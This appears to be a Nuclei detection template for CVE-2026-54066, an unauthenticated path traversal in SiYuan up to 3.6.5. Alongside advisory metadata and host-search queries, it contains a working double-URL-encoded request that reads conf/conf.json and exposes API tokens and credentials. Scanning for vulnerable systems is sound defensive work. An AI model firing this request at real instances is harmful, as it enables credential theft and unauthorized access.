CVE-2026-54066: SiYuan <= 3.6.5 - Unauthenticated Path Traversal

id: CVE-2026-54066

info:
  name: SiYuan <= 3.6.5 - Unauthenticated Path Traversal
  author: 0x_Akoko
  severity: high
  description: |
    SiYuan <= 3.6.5 contains a path traversal via double URL-encoding in the /assets/ route (publish mode port 6808), allowing unauthenticated attackers to read arbitrary files inside WorkspaceDir including conf/conf.json which exposes the API token and access auth code.
  impact: |
    Unauthenticated attackers can read conf/conf.json exposing the API token, accessAuthCode SHA256 hash, and sync credentials, enabling full authenticated API access to all notebooks.
  remediation: |
    Update to SiYuan v3.7.0 or later.
  reference:
    - https://github.com/siyuan-note/siyuan/security/advisories/GHSA-p4m3-mgmm-c664
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-54066
    epss-score: 0.02386
    epss-percentile: 0.83079
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 1
    vendor: siyuan-note
    product: siyuan
    shodan-query: port:6808 "SiYuan"
    fofa-query: title="SiYuan" && port="6808"
    tags: cve,cve2026,siyuan,path-traversal,lfi,unauth,publish-mode,disclosure,vkev

http:
  - raw:
      - |
        GET /assets/%252e%252e/%252e%252e/conf/conf.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "accessAuthCode", "appearance", "editor", "system")'
        condition: and
# digest: 4b0a00483046022100c54bac5e5034b4628dd609fb1826f1883132134f52b7ea4502571cf7d0cbc28f022100b8c8e14cb3c97ec02fc182d5364813573780f14203b98706d7079d800ae5e0a8:922c64590222798bb761d5b6d8e72950

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